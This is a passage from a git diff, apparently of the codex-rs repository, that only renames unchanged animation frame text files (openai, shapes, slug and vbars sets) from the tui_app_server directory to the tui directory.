codex-rs/tui_app_server/frames/openai/frame_15.txt rename to codex-rs/tui/frames/openai/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_16.txt b/codex-rs/tui/frames/openai/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_16.txt rename to codex-rs/tui/frames/openai/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_17.txt b/codex-rs/tui/frames/openai/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_17.txt rename to codex-rs/tui/frames/openai/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_18.txt b/codex-rs/tui/frames/openai/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_18.txt rename to codex-rs/tui/frames/openai/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_19.txt b/codex-rs/tui/frames/openai/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_19.txt rename to codex-rs/tui/frames/openai/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_2.txt b/codex-rs/tui/frames/openai/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_2.txt rename to codex-rs/tui/frames/openai/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_20.txt b/codex-rs/tui/frames/openai/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_20.txt rename to codex-rs/tui/frames/openai/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_21.txt b/codex-rs/tui/frames/openai/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_21.txt rename to codex-rs/tui/frames/openai/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_22.txt b/codex-rs/tui/frames/openai/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_22.txt rename to codex-rs/tui/frames/openai/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_23.txt b/codex-rs/tui/frames/openai/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_23.txt rename to codex-rs/tui/frames/openai/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_24.txt b/codex-rs/tui/frames/openai/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_24.txt rename to codex-rs/tui/frames/openai/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_25.txt b/codex-rs/tui/frames/openai/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_25.txt rename to codex-rs/tui/frames/openai/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_26.txt b/codex-rs/tui/frames/openai/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_26.txt rename to codex-rs/tui/frames/openai/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_27.txt b/codex-rs/tui/frames/openai/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_27.txt rename to codex-rs/tui/frames/openai/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_28.txt b/codex-rs/tui/frames/openai/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_28.txt rename to codex-rs/tui/frames/openai/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_29.txt b/codex-rs/tui/frames/openai/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_29.txt rename to codex-rs/tui/frames/openai/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_3.txt b/codex-rs/tui/frames/openai/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_3.txt rename to codex-rs/tui/frames/openai/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_30.txt b/codex-rs/tui/frames/openai/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_30.txt rename to codex-rs/tui/frames/openai/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_31.txt b/codex-rs/tui/frames/openai/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_31.txt rename to codex-rs/tui/frames/openai/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_32.txt b/codex-rs/tui/frames/openai/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_32.txt rename to codex-rs/tui/frames/openai/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_33.txt b/codex-rs/tui/frames/openai/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_33.txt rename to codex-rs/tui/frames/openai/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_34.txt b/codex-rs/tui/frames/openai/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_34.txt rename to codex-rs/tui/frames/openai/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_35.txt b/codex-rs/tui/frames/openai/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_35.txt rename to codex-rs/tui/frames/openai/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_36.txt b/codex-rs/tui/frames/openai/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_36.txt rename to codex-rs/tui/frames/openai/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_4.txt b/codex-rs/tui/frames/openai/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_4.txt rename to codex-rs/tui/frames/openai/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_5.txt b/codex-rs/tui/frames/openai/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_5.txt rename to codex-rs/tui/frames/openai/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_6.txt b/codex-rs/tui/frames/openai/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_6.txt rename to codex-rs/tui/frames/openai/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_7.txt b/codex-rs/tui/frames/openai/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_7.txt rename to codex-rs/tui/frames/openai/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_8.txt b/codex-rs/tui/frames/openai/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_8.txt rename to codex-rs/tui/frames/openai/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_9.txt b/codex-rs/tui/frames/openai/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_9.txt rename to codex-rs/tui/frames/openai/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_1.txt b/codex-rs/tui/frames/shapes/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_1.txt rename to codex-rs/tui/frames/shapes/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_10.txt b/codex-rs/tui/frames/shapes/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_10.txt rename to codex-rs/tui/frames/shapes/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_11.txt b/codex-rs/tui/frames/shapes/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_11.txt rename to codex-rs/tui/frames/shapes/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_12.txt b/codex-rs/tui/frames/shapes/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_12.txt rename to codex-rs/tui/frames/shapes/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_13.txt b/codex-rs/tui/frames/shapes/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_13.txt rename to codex-rs/tui/frames/shapes/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_14.txt b/codex-rs/tui/frames/shapes/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_14.txt rename to codex-rs/tui/frames/shapes/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_15.txt b/codex-rs/tui/frames/shapes/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_15.txt rename to codex-rs/tui/frames/shapes/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_16.txt b/codex-rs/tui/frames/shapes/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_16.txt rename to codex-rs/tui/frames/shapes/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_17.txt b/codex-rs/tui/frames/shapes/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_17.txt rename to codex-rs/tui/frames/shapes/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_18.txt b/codex-rs/tui/frames/shapes/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_18.txt rename to codex-rs/tui/frames/shapes/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_19.txt b/codex-rs/tui/frames/shapes/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_19.txt rename to codex-rs/tui/frames/shapes/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_2.txt b/codex-rs/tui/frames/shapes/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_2.txt rename to codex-rs/tui/frames/shapes/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_20.txt b/codex-rs/tui/frames/shapes/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_20.txt rename to codex-rs/tui/frames/shapes/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_21.txt b/codex-rs/tui/frames/shapes/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_21.txt rename to codex-rs/tui/frames/shapes/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_22.txt b/codex-rs/tui/frames/shapes/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_22.txt rename to codex-rs/tui/frames/shapes/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_23.txt b/codex-rs/tui/frames/shapes/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_23.txt rename to codex-rs/tui/frames/shapes/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_24.txt b/codex-rs/tui/frames/shapes/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_24.txt rename to codex-rs/tui/frames/shapes/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_25.txt b/codex-rs/tui/frames/shapes/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_25.txt rename to codex-rs/tui/frames/shapes/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_26.txt b/codex-rs/tui/frames/shapes/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_26.txt rename to codex-rs/tui/frames/shapes/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_27.txt b/codex-rs/tui/frames/shapes/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_27.txt rename to codex-rs/tui/frames/shapes/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_28.txt b/codex-rs/tui/frames/shapes/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_28.txt rename to codex-rs/tui/frames/shapes/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_29.txt b/codex-rs/tui/frames/shapes/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_29.txt rename to codex-rs/tui/frames/shapes/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_3.txt b/codex-rs/tui/frames/shapes/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_3.txt rename to codex-rs/tui/frames/shapes/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_30.txt b/codex-rs/tui/frames/shapes/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_30.txt rename to codex-rs/tui/frames/shapes/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_31.txt b/codex-rs/tui/frames/shapes/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_31.txt rename to codex-rs/tui/frames/shapes/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_32.txt b/codex-rs/tui/frames/shapes/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_32.txt rename to codex-rs/tui/frames/shapes/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_33.txt b/codex-rs/tui/frames/shapes/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_33.txt rename to codex-rs/tui/frames/shapes/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_34.txt b/codex-rs/tui/frames/shapes/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_34.txt rename to codex-rs/tui/frames/shapes/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_35.txt b/codex-rs/tui/frames/shapes/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_35.txt rename to codex-rs/tui/frames/shapes/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_36.txt b/codex-rs/tui/frames/shapes/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_36.txt rename to codex-rs/tui/frames/shapes/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_4.txt b/codex-rs/tui/frames/shapes/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_4.txt rename to codex-rs/tui/frames/shapes/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_5.txt b/codex-rs/tui/frames/shapes/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_5.txt rename to codex-rs/tui/frames/shapes/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_6.txt b/codex-rs/tui/frames/shapes/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_6.txt rename to codex-rs/tui/frames/shapes/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_7.txt b/codex-rs/tui/frames/shapes/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_7.txt rename to codex-rs/tui/frames/shapes/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_8.txt b/codex-rs/tui/frames/shapes/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_8.txt rename to codex-rs/tui/frames/shapes/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_9.txt b/codex-rs/tui/frames/shapes/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_9.txt rename to codex-rs/tui/frames/shapes/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_1.txt b/codex-rs/tui/frames/slug/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_1.txt rename to codex-rs/tui/frames/slug/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_10.txt b/codex-rs/tui/frames/slug/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_10.txt rename to codex-rs/tui/frames/slug/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_11.txt b/codex-rs/tui/frames/slug/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_11.txt rename to codex-rs/tui/frames/slug/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_12.txt b/codex-rs/tui/frames/slug/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_12.txt rename to codex-rs/tui/frames/slug/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_13.txt b/codex-rs/tui/frames/slug/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_13.txt rename to codex-rs/tui/frames/slug/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_14.txt b/codex-rs/tui/frames/slug/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_14.txt rename to codex-rs/tui/frames/slug/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_15.txt b/codex-rs/tui/frames/slug/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_15.txt rename to codex-rs/tui/frames/slug/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_16.txt b/codex-rs/tui/frames/slug/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_16.txt rename to codex-rs/tui/frames/slug/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_17.txt b/codex-rs/tui/frames/slug/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_17.txt rename to codex-rs/tui/frames/slug/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_18.txt b/codex-rs/tui/frames/slug/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_18.txt rename to codex-rs/tui/frames/slug/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_19.txt b/codex-rs/tui/frames/slug/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_19.txt rename to codex-rs/tui/frames/slug/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_2.txt b/codex-rs/tui/frames/slug/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_2.txt rename to codex-rs/tui/frames/slug/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_20.txt b/codex-rs/tui/frames/slug/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_20.txt rename to codex-rs/tui/frames/slug/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_21.txt b/codex-rs/tui/frames/slug/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_21.txt rename to codex-rs/tui/frames/slug/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_22.txt b/codex-rs/tui/frames/slug/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_22.txt rename to codex-rs/tui/frames/slug/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_23.txt b/codex-rs/tui/frames/slug/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_23.txt rename to codex-rs/tui/frames/slug/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_24.txt b/codex-rs/tui/frames/slug/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_24.txt rename to codex-rs/tui/frames/slug/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_25.txt b/codex-rs/tui/frames/slug/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_25.txt rename to codex-rs/tui/frames/slug/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_26.txt b/codex-rs/tui/frames/slug/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_26.txt rename to codex-rs/tui/frames/slug/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_27.txt b/codex-rs/tui/frames/slug/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_27.txt rename to codex-rs/tui/frames/slug/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_28.txt b/codex-rs/tui/frames/slug/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_28.txt rename to codex-rs/tui/frames/slug/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_29.txt b/codex-rs/tui/frames/slug/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_29.txt rename to codex-rs/tui/frames/slug/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_3.txt b/codex-rs/tui/frames/slug/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_3.txt rename to codex-rs/tui/frames/slug/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_30.txt b/codex-rs/tui/frames/slug/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_30.txt rename to codex-rs/tui/frames/slug/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_31.txt b/codex-rs/tui/frames/slug/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_31.txt rename to codex-rs/tui/frames/slug/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_32.txt b/codex-rs/tui/frames/slug/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_32.txt rename to codex-rs/tui/frames/slug/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_33.txt b/codex-rs/tui/frames/slug/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_33.txt rename to codex-rs/tui/frames/slug/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_34.txt b/codex-rs/tui/frames/slug/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_34.txt rename to codex-rs/tui/frames/slug/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_35.txt b/codex-rs/tui/frames/slug/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_35.txt rename to codex-rs/tui/frames/slug/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_36.txt b/codex-rs/tui/frames/slug/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_36.txt rename to codex-rs/tui/frames/slug/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_4.txt b/codex-rs/tui/frames/slug/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_4.txt rename to codex-rs/tui/frames/slug/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_5.txt b/codex-rs/tui/frames/slug/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_5.txt rename to codex-rs/tui/frames/slug/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_6.txt b/codex-rs/tui/frames/slug/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_6.txt rename to codex-rs/tui/frames/slug/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_7.txt b/codex-rs/tui/frames/slug/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_7.txt rename to codex-rs/tui/frames/slug/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_8.txt b/codex-rs/tui/frames/slug/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_8.txt rename to codex-rs/tui/frames/slug/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_9.txt b/codex-rs/tui/frames/slug/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_9.txt rename to codex-rs/tui/frames/slug/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_1.txt b/codex-rs/tui/frames/vbars/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_1.txt rename to codex-rs/tui/frames/vbars/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_10.txt b/codex-rs/tui/frames/vbars/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_10.txt rename to codex-rs/tui/frames/vbars/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_11.txt b/codex-rs/tui/frames/vbars/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_11.txt rename to codex-rs/tui/frames/vbars/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_12.txt b/codex-rs/tui/frames/vbars/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_12.txt rename to codex-rs/tui/frames/vbars/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_13.txt b/codex-rs/tui/frames/vbars/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_13.txt rename to codex-rs/tui/frames/vbars/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_14.txt b/codex-rs/tui/frames/vbars/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_14.txt rename to codex-rs/tui/frames/vbars/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_15.txt b/codex-rs/tui/frames/vbars/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_15.txt rename to codex-rs/tui/frames/vbars/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_16.txt b/codex-rs/tui/frames/vbars/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_16.txt rename to codex-rs/tui/frames/vbars/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_17.txt b/codex-rs/tui/frames/vbars/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_17.txt rename to codex-rs/tui/frames/vbars/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_18.txt b/codex-rs/tui/frames/vbars/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_18.txt rename to codex-rs/tui/frames/vbars/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_19.txt b/codex-rs/tui/frames/vbars/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_19.txt rename to codex-rs/tui/frames/vbars/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_2.txt b/codex-rs/tui/frames/vbars/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_2.txt rename to codex-rs/tui/frames/vbars/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_20.txt b/codex-rs/tui/frames/vbars/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_20.txt rename to codex-rs/tui/frames/vbars/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_21.txt b/codex-rs/tui/frames/vbars/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_21.txt rename to codex-rs/tui/frames/vbars/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_22.txt b/codex-rs/tui/frames/vbars/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_22.txt rename to codex-rs/tui/frames/vbars/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_23.txt b/codex-rs/tui/frames/vbars/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_23.txt rename to codex-rs/tui/frames/vbars/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_24.txt b/codex-rs/tui/frames/vbars/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_24.txt rename to codex-rs/tui/frames/vbars/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_25.txt b/codex-rs/tui/frames/vbars/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_25.txt rename to codex-rs/tui/frames/vbars/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_26.txt b/codex-rs/tui/frames/vbars/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_26.txt rename to codex-rs/tui/frames/vbars/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_27.txt b/codex-rs/tui/frames/vbars/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_27.txt rename to codex-rs/tui/frames/vbars/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_28.txt b/codex-rs/tui/frames/vbars/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_28.txt rename to codex-rs/tui/frames/vbars/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_29.txt b/codex-rs/tui/frames/vbars/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_29.txt rename to codex-rs/tui/frames/vbars/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_3.txt b/codex-rs/tui/frames/vbars/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_3.txt rename to codex-rs/tui/frames/vbars/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_30.txt b/codex-rs/tui/frames/vbars/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_30.txt rename to codex-rs/tui/frames/vbars/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_31.txt b/codex-rs/tui/frames/vbars/frame_31.txt similarity index 100% rename from 